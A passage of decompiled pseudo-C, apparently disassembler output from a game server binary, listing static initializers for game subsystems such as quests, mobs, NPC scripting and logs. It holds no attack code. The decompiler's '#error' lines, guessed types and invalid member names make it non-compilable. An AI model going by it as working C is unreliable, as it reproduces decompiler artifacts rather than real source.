InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::InvenCellReleaser_GuildAcademyRewardStorageRelocClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageWithdrawClear); return atexit(_E51_2); } //----- (00627A10) -------------------------------------------------------- int __cdecl _E53() { InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageChange::InvenCellReleaser_GuildAcademyRewardStorageChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageChange); return atexit(_E54_3); } //----- (00627A30) -------------------------------------------------------- int __cdecl _E56() { InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageChange::InvenCellReleaser_GuildAcademyRewardStorageChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageReloc); return atexit(_E57_3); } //----- (00627A50) -------------------------------------------------------- int __cdecl _E59() { InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageInfoZoneRng); return atexit(_E60_3); } //----- (00627A70) -------------------------------------------------------- int __cdecl _E62() { InventoryLocking::InvenCellReleaser_FurnitureReloc::InvenCellReleaser_FurnitureReloc(&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc); return atexit(_E63_3); } //----- (00627A90) -------------------------------------------------------- int __cdecl _E65() { InventoryLocking::InvenCellReleaser_FurnitureCellClear::InvenCellReleaser_FurnitureCellClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureCellClear); return atexit(_E66_2); } //----- (00627AB0) -------------------------------------------------------- int __cdecl _E68() { InventoryLocking::InvenCellReleaser_LinkInfo::InvenCellReleaser_LinkInfo(&InventoryLocking::InventoryCellLockList::icll_Releaser_LinkInfo); return atexit(_E69_2); } //----- (00627AD0) -------------------------------------------------------- int __cdecl _E71() { InventoryLocking::InvenCellReleaser_CoinChange::InvenCellReleaser_CoinChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_CoinChange); return atexit(_E72_1); } //----- (00627AF0) -------------------------------------------------------- int __cdecl _E3_3() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ItemDropFromMobLog"); return atexit(_E4_20); } //----- (00627B40) -------------------------------------------------------- int __cdecl _E8_11() { ItemDropFromMob::DropGroupCluster::DropGroupCluster(&dropgroupcluster); return atexit(_E9_22); } //----- (00627B60) -------------------------------------------------------- int __cdecl _E11_5() { ItemDropFromMob::DropIndexCluster::DropIndexCluster(&dropindexcluster); return atexit(_E12_19); } //----- (00627B80) -------------------------------------------------------- int __cdecl _E16() { return atexit(_E17_11); } //----- (00627B90) -------------------------------------------------------- int __cdecl _E3_4() { ItemGroupClassifier::ItemGroupClassifier(&itemgroupclassifier); return atexit(_E4_21); } //----- (00627BB0) -------------------------------------------------------- int __cdecl _E6_0() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&LuaFuncTrigger::g_FuncTrigger_Chat); return atexit(_E7_11); } //----- (00627BD0) -------------------------------------------------------- int __cdecl _E9_0() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&LuaFuncTrigger::g_FuncTrigger_Jump); return atexit(_E10_8); } //----- (00627BF0) -------------------------------------------------------- int __cdecl _E12_0() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&LuaFuncTrigger::g_FuncTrigger_UseItem); return atexit(_E13_3); } //----- (00627C10) -------------------------------------------------------- int __cdecl _E5_16() { return atexit(_E6_37); } //----- (00627C20) -------------------------------------------------------- int __cdecl _E12_1() { return atexit(_E13_4); } //----- (00627C30) -------------------------------------------------------- int __cdecl _E1_11() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&itemrandomoptiontable); return atexit(_E2_11); } //----- (00627C50) -------------------------------------------------------- int __cdecl _E3_5() { ItemsInChest::ItemsInChest(&itemsinchest); return atexit(_E4_22); } //----- (00627C70) -------------------------------------------------------- int __cdecl _E3_6() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"KQEntryCheckLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&KQEntryCheckLog - "KQEntryCheckLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); KQEntryCheckLog.dl_FilePointer = 0; EraseOldLogList("KQEntryCheckLog"); KQEntryCheckLog.dl_Activ = 1; return atexit(_E4_23); } //----- (00627CC0) -------------------------------------------------------- int __cdecl _E6_1() { strncpy(KingSlime, "KDEddyHill00", 0xCu); return atexit(_E7_12); } //----- (00627CE0) -------------------------------------------------------- int __cdecl _E9_1() { KingdomQuest::KingdomQuestContainer::KingdomQuestContainer(&kqcontainer); return atexit(_E10_9); } //----- (00627D00) -------------------------------------------------------- int __cdecl _E19() { KingdomQuestEntrance::KingdomQuestEntrance(&kqentrance); return atexit(_E20_13); } //----- (00627D20) -------------------------------------------------------- int __cdecl _E24_0() { KingdomQuestGate::KingdomQuestGate(&kqgate); return atexit(_E25_1); } //----- (00627D40) -------------------------------------------------------- int __cdecl _E5_17() { KQContribute::KQContributeList::KQContributeList((KQContribute::KQContributeList *)&g_KQContributeList); return atexit(_E6_38); } //----- (00627D60) -------------------------------------------------------- int __cdecl _E1_12() { KQRewardDataBox::KQRewardDataBox(&kqreward); return atexit(_E2_12); } //----- (00627D80) -------------------------------------------------------- int __cdecl _E1_13() { return atexit(_E2_13); } //----- (00627D90) -------------------------------------------------------- int __cdecl _E4_5() { return atexit(_E5_51); } //----- (00627DA0) -------------------------------------------------------- int __cdecl _E7_1() { return atexit(_E8_38); } //----- (00627DB0) -------------------------------------------------------- int __cdecl _E5_18() { RecallPointTable::RecallPointTable((ShineScript *)&magiccontainer); return atexit(_E6_39); } //----- (00627DD0) -------------------------------------------------------- int __cdecl _E8_12() { return atexit(_E9_24); } //----- (00627DE0) -------------------------------------------------------- int __cdecl _E11_6() { return atexit(_E12_20); } //----- (00627DF0) -------------------------------------------------------- int __cdecl _E14_3() { CLCReward::CLCReward(&gLCReward); return atexit(_E15_9); } //----- (00627E10) -------------------------------------------------------- int __cdecl _E1_14() { CFindWay::CFindWay(&findway); return atexit(_E2_14); } //----- (00627E30) -------------------------------------------------------- int __cdecl _E4_6() { MapBlock::MapBlockInformationBox::MapBlockInformationBox(&blockinfobox); return atexit(_E5_52); } //----- (00627E50) -------------------------------------------------------- int __cdecl _E3_7() { MapClusterManager::ClusterManager::ClusterManager(&mapclustermanager); return atexit(_E4_24); } //----- (00627E70) -------------------------------------------------------- int __cdecl _E8_13() { TownPortalData::TownPortalData(&townportaldata); return atexit(_E9_25); } //----- (00627E90) -------------------------------------------------------- int __cdecl _E3_8() { MIDRewardDataBox::MIDRewardDataBox(&midreward); return atexit(_E4_25); } //----- (00627EB0) -------------------------------------------------------- int __cdecl _E3_9() { MiniHouseEndureDataBox::MiniHouseEndureDataBox(&minihouseenduredatabox); return atexit(_E4_26); } //----- (00627ED0) -------------------------------------------------------- int __cdecl _E3_10() { MiniHouseObjAniDataBox::MiniHouseObjAniDataBox(&minihouseobjanidatabox); return atexit(_E4_27); } //----- (00627EF0) -------------------------------------------------------- int __cdecl _E5_19() { dword_D4AB2E0 = 0; dword_D4AB2E4 = 0; dword_D4AB2E8 = 0; dword_D4AB2EC = 0; dword_D4AB2F0 = 0; dword_D4AB2F4 = 0; dword_D4AB2F8 = 0; dword_D4AB2FC = 0; dword_D4AB300 = 0; dword_D4AB304 = 0; dword_D4AB308 = 0; dword_D4AB30C = 0; dword_D4AB310 = 0; dword_D4AB314 = 0; word_D4AB318 = 0; MiscDataTable::mdt_DefSkill = -1; word_D4AB2CA = -1; word_D4AB2DC = -1; byte_D4AB2DE = 0; byte_D4AB2DF = 0; dword_D4AB31C = 0; byte_D4AB320 &= 0xFEu; word_D4AB334 = 0; dword_D4AB324 = 0; dword_D4AB330 = 0; dword_D4AB33C = 0; MiscDataTable::mdt_DefAbState = -1; byte_D4AB342 = 0; dword_D4AB344 = 0; dword_D4AB348 = 0; return atexit(_E6_40); } // D4AB2C8: using guessed type __int16 MiscDataTable__mdt_DefSkill; // D4AB2CA: using guessed type __int16 word_D4AB2CA; // D4AB2DC: using guessed type __int16 word_D4AB2DC; // D4AB2DE: using guessed type char byte_D4AB2DE; // D4AB2DF: using guessed type char byte_D4AB2DF; // D4AB2E0: using guessed type int dword_D4AB2E0; // D4AB2E4: using guessed type int dword_D4AB2E4; // D4AB2E8: using guessed type int dword_D4AB2E8; // D4AB2EC: using guessed type int dword_D4AB2EC; // D4AB2F0: using guessed type int dword_D4AB2F0; // D4AB2F4: using guessed type int dword_D4AB2F4; // D4AB2F8: using guessed type int dword_D4AB2F8; // D4AB2FC: using guessed type int dword_D4AB2FC; // D4AB300: using guessed type int dword_D4AB300; // D4AB304: using guessed type int dword_D4AB304; // D4AB308: using guessed type int dword_D4AB308; // D4AB30C: using guessed type int dword_D4AB30C; // D4AB310: using guessed type int dword_D4AB310; // D4AB314: using guessed type int dword_D4AB314; // D4AB318: using guessed type __int16 word_D4AB318; // D4AB31C: using guessed type int dword_D4AB31C; // D4AB320: using guessed type char byte_D4AB320; // D4AB324: using guessed type int dword_D4AB324; // D4AB330: using guessed type int dword_D4AB330; // D4AB334: using guessed type __int16 word_D4AB334; // D4AB33C: using guessed type int dword_D4AB33C; // D4AB340: using guessed type __int16 MiscDataTable__mdt_DefAbState; // D4AB342: using guessed type char byte_D4AB342; // D4AB344: using guessed type int dword_D4AB344; // D4AB348: using guessed type int dword_D4AB348; //----- (00627FC0) -------------------------------------------------------- int __cdecl _E8_14() { return atexit(_E9_26); } //----- (00627FD0) -------------------------------------------------------- int __cdecl _E11_7() { MobExplosionElement::MobExplosionEnemy::MobExplosionEnemy(&mobexploseenemy); return atexit(_E12_22); } //----- (00627FF0) -------------------------------------------------------- int __cdecl _E14_4() { MobExplosionElement::MobExplosionTarget::MobExplosionTarget(&mobexplosetarget); return atexit(_E15_10); } //----- (00628010) -------------------------------------------------------- int __cdecl _E17_2() { MobExplosionElement::MobExplosionAlways::MobExplosionAlways(&mobexplosealways); return atexit(_E18_12); } //----- (00628030) -------------------------------------------------------- int __cdecl _E4_7() { MobAttackSequence::MobAttackSequence(&mobattseq); return atexit(_E5_53); } //----- (00628050) -------------------------------------------------------- int __cdecl _E5_20() { MobTargetEraser::MobTargetEraser(&mobtargeteraser); return atexit(_E6_41); } //----- (00628070) -------------------------------------------------------- int __cdecl _E5_21() { MobChat::MobChatManager::MobChatManager(&mobchatman); return atexit(_E6_42); } //----- (00628090) -------------------------------------------------------- int __cdecl _E5_22() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"NPCDeadLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&NPCDeadLog - "NPCDeadLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); NPCDeadLog.dl_FilePointer = 0; EraseOldLogList("NPCDeadLog"); NPCDeadLog.dl_Activ = 1; return atexit(_E6_43); } //----- (006280E0) -------------------------------------------------------- int __cdecl _E8_15() { MobActionElement::MobActionElement(&ShineObjectClass::ShineMob::defaction); return atexit(_E9_27); } //----- (00628100) -------------------------------------------------------- int __cdecl _E11_8() { KQRegenTable::KQRegenTable(&kqregentable); return atexit(_E12_23); } //----- (00628120) -------------------------------------------------------- int __cdecl _E14_5() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"MobHatcheryLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&MobHatcheryLog - "MobHatcheryLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); MobHatcheryLog.dl_FilePointer = 0; EraseOldLogList("MobHatcheryLog"); MobHatcheryLog.dl_Activ = 1; return atexit(_E15_11); } //----- (00628170) -------------------------------------------------------- int __cdecl _E17_3() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&g_FamilyMobManager); return atexit(_E18_13); } //----- (00628190) -------------------------------------------------------- int __cdecl _E20_1() { return atexit(_E21_6); } //----- (006281A0) -------------------------------------------------------- int __cdecl _E3_11() { MobRoaming::MobRoamingSet::MobRoamingSet(&roamingpaths); return atexit(_E4_28); } //----- (006281C0) -------------------------------------------------------- int __cdecl _E6_2() { MobRoaming::MobsInRoaming::MobsInRoaming((MobRoaming::MobsInRoaming *)&mobinroam); return atexit(_E7_13); } //----- (006281E0) -------------------------------------------------------- int __cdecl _E3_12() { ShineRadian2OctaDirect::ShineRadian2OctaDirect(&sr2od); return atexit(_E4_29); } //----- (00628200) -------------------------------------------------------- int __cdecl _E5_23() { return atexit(_E6_44); } //----- (00628210) -------------------------------------------------------- int __cdecl _E8_16() { MobTacticElement::MobActionTargetting::MobActionTargetting((MobTacticElement::MobActionTargetting *)&MobTacticElement::MobActionArgument::Actor::targetting); return atexit(_E9_28); } //----- (00628230) -------------------------------------------------------- int __cdecl _E11_9() { MobTacticElement::MobAction2Region::MobAction2Region(&MobTacticElement::MobActionArgument::Actor::toregion); return atexit(_E12_24); } //----- (00628250) -------------------------------------------------------- int __cdecl _E14_6() { MobTacticElement::MobActionRoaming::MobActionRoaming(&MobTacticElement::MobActionArgument::Actor::roaming); return atexit(_E15_12); } //----- (00628270) -------------------------------------------------------- int __cdecl _E17_4() { MobTacticElement::MobActionNoBrain::MobActionNoBrain(&MobTacticElement::MobActionArgument::Actor::nobrain); return atexit(_E18_14); } //----- (00628290) -------------------------------------------------------- int __cdecl _E20_2() { MobTacticElement::DuringReturn2Regen::DuringReturn2Regen(&MobTacticElement::MobActionArgument::Actor::return2regen); return atexit(_E21_7); } //----- (006282B0) -------------------------------------------------------- int __cdecl _E23_1() { Navigator::MapNavigator::MapNavigator(&navi, 500, 8); return atexit(_E24_9); } //----- (006282D0) -------------------------------------------------------- int __cdecl _E26_0() { StaticVector::StaticVector( (StaticVector *)&Navigator::MapNavigator::nm_UnitPointList, 64); return atexit(_E27_6); } //----- (006282F0) -------------------------------------------------------- int __cdecl _E1_15() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&_MultiHitTable); return atexit(_E2_15); } //----- (00628310) -------------------------------------------------------- int __cdecl _E1_16() { NPCItemList::NPCItemListTable::NPCItemListTable(&npcitemlist); return atexit(_E2_16); } //----- (00628330) -------------------------------------------------------- int __cdecl _E5_24() { NPCRoleBase::NPCRoleBase(&npcrolebase, 0); return atexit(_E6_46); } //----- (00628350) -------------------------------------------------------- int __cdecl _E8_17() { NPCManager::NPCManager(&npcmanager); return atexit(_E9_29); } //----- (00628370) -------------------------------------------------------- int __cdecl _E11_10() { MerchantCityData::MerchantCityData(&merchantcity); return atexit(_E12_26); } //----- (00628390) -------------------------------------------------------- int __cdecl _E3_13() { OPToolList::OPToolList((OPToolList *)&optoollist); return atexit(_E4_30); } //----- (006283B0) -------------------------------------------------------- int __cdecl _E6_3() { OPToolSession::OPToolSession((OPToolSession *)&optoolsock); return atexit(_E7_14); } //----- (006283D0) -------------------------------------------------------- int __cdecl _E5_25() { GlobalProtocolPacket::GlobalProtocolPacket((GlobalProtocolPacket *)&gpp); return atexit(_E6_47); } //----- (006283F0) -------------------------------------------------------- int __cdecl _E8_18() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"TooLongPacket"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&TooLongPacket - "TooLongPacket" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); TooLongPacket.dl_FilePointer = 0; EraseOldLogList("TooLongPacket"); TooLongPacket.dl_Activ = 1; return atexit(_E9_30); } //----- (00628440) -------------------------------------------------------- int __cdecl _E11_11() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ExceptionLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)(&ExceptionLog - (_UNKNOWN *)"ExceptionLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); dword_D77D808 = 0; EraseOldLogList("ExceptionLog"); byte_D77D98C = 1; return atexit(_E12_27); } // D77D808: using guessed type int dword_D77D808; // D77D98C: using guessed type char byte_D77D98C; //----- (00628490) -------------------------------------------------------- int __cdecl _E1_17() { ShineCommonParameter::ShineCommonParameter(&shineparam); return atexit(_E2_17); } //----- (006284B0) -------------------------------------------------------- int __cdecl _E5_26() { CParty::CParty(&partycontainer); return atexit(_E6_48); } //----- (006284D0) -------------------------------------------------------- int __cdecl _E8_19() { return atexit(_E9_31); } //----- (006284E0) -------------------------------------------------------- int __cdecl _E1_18() { return atexit(_E2_18); } //----- (006284F0) -------------------------------------------------------- int __cdecl _E4_8() { JunctionPointContainer::JunctionPointContainer(&junctionpointlist); return atexit(_E5_54); } //----- (00628510) -------------------------------------------------------- int __cdecl _E7_2() { LinearStep::LinearStep(&linestep); return atexit(_E8_40); } //----- (00628530) -------------------------------------------------------- int __cdecl _E10_0() { CellStack::CellStack(&cellstack); return atexit(_E11_21); } //----- (00628550) -------------------------------------------------------- int __cdecl _E13() { PathFindTable::PathFindTable(&pathfindtable); return atexit(_E14_20); } //----- (00628570) -------------------------------------------------------- int __cdecl _E1_19() { PerformanceChecker::PerformanceChecker(&performancechech); return atexit(_E2_19); } //----- (00628590) -------------------------------------------------------- int __cdecl _E3_14() { char *v0; // eax@1 v0 = (char *)gdsprotofunc.4100; do { *(_DWORD *)v0 = gdsprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&gdsprotofunc.4356 ); memset32(gdsprotofunc.pft_funcpnt, (int)gdsprotofunc.4100, 0x400u); return atexit(_E4_32); } //----- (006285D0) -------------------------------------------------------- int __cdecl _E3_15() { char *v0; // eax@1 v0 = (char *)shineprotofunc.4100; do { *(_DWORD *)v0 = shineprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&shineprotofunc.4356 ); memset32(shineprotofunc.pft_funcpnt, (int)shineprotofunc.4100, 0x400u); return atexit(_E4_33); } //----- (00628610) -------------------------------------------------------- int __cdecl _E3_16() { char *v0; // eax@1 v0 = (char *)glsprotofunc.4100; do { *(_DWORD *)v0 = glsprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&glsprotofunc.4356 ); memset32(glsprotofunc.pft_funcpnt, (int)glsprotofunc.4100, 0x400u); return atexit(_E4_34); } //----- (00628650) -------------------------------------------------------- int __cdecl _E3_17() { char *v0; // eax@1 v0 = (char *)optsprotofunc.this; do { *(_DWORD *)v0 = optsprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&optsprotofunc.4356 ); memset32(optsprotofunc.pft_funcpnt, (int)optsprotofunc.this, 0x400u); return atexit(_E4_35); } //----- (00628690) -------------------------------------------------------- int __cdecl _E3_18() { char *v0; // eax@1 v0 = (char *)wldmanprotofunc.4100; do { *(_DWORD *)v0 = wldmanprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&wldmanprotofunc.4356 ); memset32(wldmanprotofunc.pft_funcpnt, (int)wldmanprotofunc.4100, 0x400u); return atexit(_E4_36); } //----- (006286D0) -------------------------------------------------------- int __cdecl _E3_19() { char *v0; // eax@1 v0 = (char *)zlsprotofunc.this; do { *(_DWORD *)v0 = zlsprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&zlsprotofunc.4356 ); memset32(zlsprotofunc.pft_funcpnt, (int)zlsprotofunc.this, 0x400u); return atexit(_E4_37); } //----- (00628710) -------------------------------------------------------- int __cdecl _E3_20() { PineEventScriptNode::StatementList::StatementList(&ps_statementlist); return atexit(_E4_38); } //----- (00628730) -------------------------------------------------------- int __cdecl _E6_4() { return atexit(_E7_15); } //----- (00628740) -------------------------------------------------------- int __cdecl _E9_2() { return atexit(_E10_11); } //----- (00628750) -------------------------------------------------------- int __cdecl _E12_2() { return atexit(_E13_6); } //----- (00628760) -------------------------------------------------------- int __cdecl _E15_0() { PineEventScriptNode::SysFuncRand::SysFuncRand(&sysfuncrand); return atexit(_E16_8); } //----- (00628780) -------------------------------------------------------- int __cdecl _E18_0() { PineEventScriptNode::SysFuncSQRT::SysFuncSQRT(&sysfuncsqrt); return atexit(_E19_3); } //----- (006287A0) -------------------------------------------------------- int __cdecl _E21_0() { PineEventScriptNode::SysFuncDistance::SysFuncDistance(&sysfuncdistance); return atexit(_E22_3); } //----- (006287C0) -------------------------------------------------------- int __cdecl _E24_1() { PineEventScriptNode::SysFuncShineMobRegen::SysFuncShineMobRegen(&sysfuncshinemobregen); return atexit(_E25_2); } //----- (006287E0) -------------------------------------------------------- int __cdecl _E27_0() { PineEventScriptNode::SysFuncShineDoorBuild::SysFuncShineDoorBuild(&sysfuncshinedoorbuild); return atexit(_E28_2); } //----- (00628800) -------------------------------------------------------- int __cdecl _E30_0() { PineEventScriptNode::SysFuncShineNPCStand::SysFuncShineNPCStand(&sysfuncshinenpcstand); return atexit(_E31_1); } //----- (00628820) -------------------------------------------------------- int __cdecl _E33_0() { PineEventScriptNode::SysFuncShineChange2Mob::SysFuncShineChange2Mob(&sysfuncshinechange2mob); return atexit(_E34_2); } //----- (00628840) -------------------------------------------------------- int __cdecl _E36_0() { PineEventScriptNode::SysFuncShineChange2Door::SysFuncShineChange2Door(&sysfuncshinechange2door); return atexit(_E37_1); } //----- (00628860) -------------------------------------------------------- int __cdecl _E39_0() { PineEventScriptNode::SysFuncShineChange2NPC::SysFuncShineChange2NPC(&sysfuncshinechange2npc); return atexit(_E40_1); } //----- (00628880) -------------------------------------------------------- int __cdecl _E42() { PineEventScriptNode::SysFuncShineCount::SysFuncShineCount(&sysfuncshinecount); return atexit(_E43_1); } //----- (006288A0) -------------------------------------------------------- int __cdecl _E45() { PineEventScriptNode::SysFuncShineRestSecond::SysFuncShineRestSecond(&sysfuncshinerestsec); return atexit(_E46_0); } //----- (006288C0) -------------------------------------------------------- int __cdecl _E48() { PineEventScriptNode::SysFuncShineCharClass::SysFuncShineCharClass(&sysfuncshinecharclass); return atexit(_E49_1); } //----- (006288E0) -------------------------------------------------------- int __cdecl _E51() { PineEventScriptNode::SysFuncShineCharName::SysFuncShineCharName(&sysfuncshinecharname); return atexit(_E52_0); } //----- (00628900) -------------------------------------------------------- int __cdecl _E54() { PineEventScriptNode::SysFuncShineDeadNumber::SysFuncShineDeadNumber(&sysfuncshinedeadnum); return atexit(_E55); } //----- (00628920) -------------------------------------------------------- int __cdecl _E57() { PineEventScriptNode::SysFuncShineCircularScatter::SysFuncShineCircularScatter(&sysfuncshinecircularlocate); return atexit(_E58); } //----- (00628940) -------------------------------------------------------- int __cdecl _E60() { PineEventScriptNode::SysFuncShineRemoveFisrt::SysFuncShineRemoveFisrt(&sysfuncshineremovefisrt); return atexit(_E61); } //----- (00628960) -------------------------------------------------------- int __cdecl _E63() { PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineGetObjectList(&sysfuncshinegetobjectlist); return atexit(_E64); } //----- (00628980) -------------------------------------------------------- int __cdecl _E66() { PineEventScriptNode::SysFuncShineKQResultList::SysFuncShineKQResultList(&sysfuncshinekqresultlist); return atexit(_E67); } //----- (006289A0) -------------------------------------------------------- int __cdecl _E69() { PineEventScriptNode::SysFuncShineKQTop::SysFuncShineKQTop(&sysfuncshinekqtoplist); return atexit(_E70); } //----- (006289C0) -------------------------------------------------------- int __cdecl _E72() { PineEventScriptNode::SysFuncShineDistance::SysFuncShineDistance(&sysfuncshinedistance); return atexit(_E73_0); } //----- (006289E0) -------------------------------------------------------- int __cdecl _E75() { PineEventScriptNode::SysFuncShinePlayerInArea::SysFuncShinePlayerInArea(&sysfuncshineplayerinarea); return atexit(_E76); } //----- (00628A00) -------------------------------------------------------- int __cdecl _E78() { PineEventScriptNode::SysFuncShineRange::SysFuncShineRange(&sysfuncshinerange); return atexit(_E79_0); } //----- (00628A20) -------------------------------------------------------- int __cdecl _E81() { PineEventScriptNode::SysFuncShineIsGateUse::SysFuncShineIsGateUse(&sysfuncshineisgateuse); return atexit(_E82); } //----- (00628A40) -------------------------------------------------------- int __cdecl _E84() { PineEventScriptNode::SysFuncShineGetWinnerGuild::SysFuncShineGetWinnerGuild(&sysfuncshinegetwinnerguild); return atexit(_E85_0); } //----- (00628A60) -------------------------------------------------------- int __cdecl _E87() { PineEventScriptNode::SysFuncShineGetLoseGuild::SysFuncShineGetLoseGuild(&sysfuncshinegetloseGuild); return atexit(_E88); } //----- (00628A80) -------------------------------------------------------- int __cdecl _E90() { PineEventScriptNode::SysFuncShineWhereIs::SysFuncShineWhereIs(&sysfuncshinewhereis); return atexit(_E91); } //----- (00628AA0) -------------------------------------------------------- int __cdecl _E93() { PineEventScriptNode::SysFuncShineSPrintF1::SysFuncShineSPrintF1(&sysfuncshinesprintf1); return atexit(_E94_0); } //----- (00628AC0) -------------------------------------------------------- int __cdecl _E5_27() { return atexit(_E6_49); } //----- (00628AD0) -------------------------------------------------------- int __cdecl _E8_20() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"KQRankingLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&KQRankingLog - "KQRankingLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); unk_12F8B858 = 0; EraseOldLogList("KQRankingLog"); unk_12F8B9DC = 1; return atexit(_E9_32); } //----- (00628B20) -------------------------------------------------------- int __cdecl _E1_20() { PineScriptMobRegenerator::PineScriptMobRegenerator(&scriptmobregen); return atexit(_E2_20); } //----- (00628B40) -------------------------------------------------------- int __cdecl _E5_28() { char *v0; // eax@1 char v1; // cl@2 v0 = (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[2].mts_CharRegnum; do { v1 = *v0; v0[(char *)&DeadHandleLog - (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[2].mts_CharRegnum] = *v0; ++v0; } while ( v1 ); DeadHandleLog.dl_FilePointer = 0; EraseOldLogList((char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[2].mts_CharRegnum); DeadHandleLog.dl_Activ = 1; return atexit(_E6_50); } //----- (00628B90) -------------------------------------------------------- int __cdecl _E8_21() { PineScriptToken::PineScriptToken(&index_all, "all"); return atexit(_E9_33); } //----- (00628BB0) -------------------------------------------------------- int __cdecl _E11_12() { PineScriptToken::PineScriptToken( &index_me, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer); return atexit(_E12_28); } //----- (00628BD0) -------------------------------------------------------- int __cdecl _E14_7() { PineScriptToken::PineScriptToken(&index_ply, "player"); return atexit(_E15_13); } //----- (00628BF0) -------------------------------------------------------- int __cdecl _E17_5() { PineScriptToken::PineScriptToken( &index_hour, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer.baseclass_0.io_Pointer); return atexit(_E18_16); } //----- (00628C10) -------------------------------------------------------- int __cdecl _E20_3() { PineScriptToken::PineScriptToken(&index_minute, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[3]); return atexit(_E21_9); } //----- (00628C30) -------------------------------------------------------- #error "628C30: undefined or illegal type '#593' (funcsize=7)" //----- (00628C50) -------------------------------------------------------- int __cdecl _E26_1() { PineScriptToken::PineScriptToken( &index_millisec, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[3].mts_AggroPoint); return atexit(_E27_7); } //----- (00628C70) -------------------------------------------------------- int __cdecl _E29_0() { PineScriptToken::PineScriptToken( &index_kq, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[3].mts_EnemyAnalyzer.baseclass_0.io_Pointer); return atexit(_E30_7); } //----- (00628C90) -------------------------------------------------------- #error "628C90: undefined or illegal type '#593' (funcsize=7)" //----- (00628CB0) -------------------------------------------------------- int __cdecl _E35_0() { PineScriptToken::PineScriptToken( &index_fail, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[4].mts_AggroPoint); return atexit(_E36_4); } //----- (00628CD0) -------------------------------------------------------- int __cdecl _E38_0() { PineScriptToken::PineScriptToken( &index_areaentry, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer); return atexit(_E39_4); } //----- (00628CF0) -------------------------------------------------------- int __cdecl _E41_0() { PineScriptToken::PineScriptToken(&index_arealeave, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[5]); return atexit(_E42_3); } //----- (00628D10) -------------------------------------------------------- int __cdecl _E44_0() { PineScriptToken::PineScriptToken( &index_npcclickhandle, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[5].mts_AggroPoint); return atexit(_E45_4); } //----- (00628D30) -------------------------------------------------------- int __cdecl _E47_0() { PineScriptToken::PineScriptToken( &index_npcclickindex, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[5].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); return atexit(_E48_4); } //----- (00628D50) -------------------------------------------------------- int __cdecl _E50_0() { PineScriptToken::PineScriptToken( &index_npcclickany, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[6].mts_AggroPoint); return atexit(_E51_3); } //----- (00628D70) -------------------------------------------------------- int __cdecl _E53_0() { PineScriptToken::PineScriptToken( &index_hplow, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[6].mts_EnemyAnalyzer.baseclass_0.io_Pointer); return atexit(_E54_4); } //----- (00628D90) -------------------------------------------------------- int __cdecl _E56_0() { PineScriptToken::PineScriptToken(&index_mobeliminate, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[7]); return atexit(_E57_4); } //----- (00628DB0) -------------------------------------------------------- int __cdecl _E59_0() { PineScriptToken::PineScriptToken( &index_playereliminate, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[7].mts_LastHit); return 